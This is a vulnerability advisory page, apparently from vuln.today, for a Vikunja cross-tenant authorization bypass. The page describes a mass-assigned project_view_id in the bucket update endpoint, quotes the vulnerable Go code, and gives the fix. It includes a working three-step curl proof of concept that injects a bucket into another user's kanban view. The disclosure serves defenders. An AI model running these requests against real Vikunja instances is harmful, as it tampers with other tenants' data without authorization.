Skip to main content

Vikunja CVE-2026-55067

| EUVDEUVD-2026-67834 MEDIUM
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-08-28 https://github.com/go-vikunja/vikunja GHSA-569v-q83c-3j3g
5.0
CVSS 3.1 · Vendor: https://github.com/go-vikunja/vikunja
Share

Severity by source

Vendor (https://github.com/go-vikunja/vikunja) PRIMARY
5.0 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
vuln.today AI
5.0 MEDIUM

Authenticated network exploit crossing tenant boundaries justifies S:C and PR:L; write-only defacement yields I:L with no confidentiality or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

Primary rating from Vendor (https://github.com/go-vikunja/vikunja).

CVSS VectorVendor: https://github.com/go-vikunja/vikunja

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 28, 2026 - 17:25 vuln.today
Analysis Generated
Aug 28, 2026 - 17:25 vuln.today

DescriptionCVE.org

Summary

POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.

This vulnerability was found using an LLM, and manually verified against latest (2.3.0).

Vulnerable code

pkg/models/kanban.go (lines 348-359):

go
func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ?", b.ID).
        Cols(
            "title",
            "limit",
            "position",
            "project_view_id",   // mass-assigned from the request body
        ).
        Update(b)
    return
}

Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.

Proof of Concept

Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.

Step 1: Attacker creates a fresh bucket in their own project.

bash
curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7

Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.

bash
curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
#   "id": 7,
#   "title": "PWNED BUCKET",
#   "project_view_id": 4
# }

Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.

bash
curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
  -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
#   {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
#   {"id":1,"title":"To-Do","created_by":"victim"},
#   {"id":2,"title":"Doing","created_by":"victim"},
#   {"id":3,"title":"Done","created_by":"victim"}
# ]

After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.

Impact

Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.

Fix

In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.

AnalysisAI

Cross-tenant kanban bucket injection in Vikunja API (≤ 2.3.0) allows any authenticated user to relocate their own bucket into any other tenant's project view by supplying an arbitrary project_view_id in the JSON request body of the bucket update endpoint. The Bucket.Update() function in pkg/models/kanban.go mass-assigns project_view_id directly to the database row via xorm, while the CanUpdate authorization check only validates the URL path parameters - never the body field. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Execution
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation The attacker must hold a valid authenticated session on the target Vikunja instance (any registered user account suffices; no elevated privileges required). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N, score 5.0) accurately represents the threat: network-reachable, low complexity, requiring only a valid authenticated session (PR:L), with a scope change (S:C) because impact crosses tenant authorization boundaries. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation Upgrade Vikunja API to version 2.4.0 or later, available at https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-55067 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy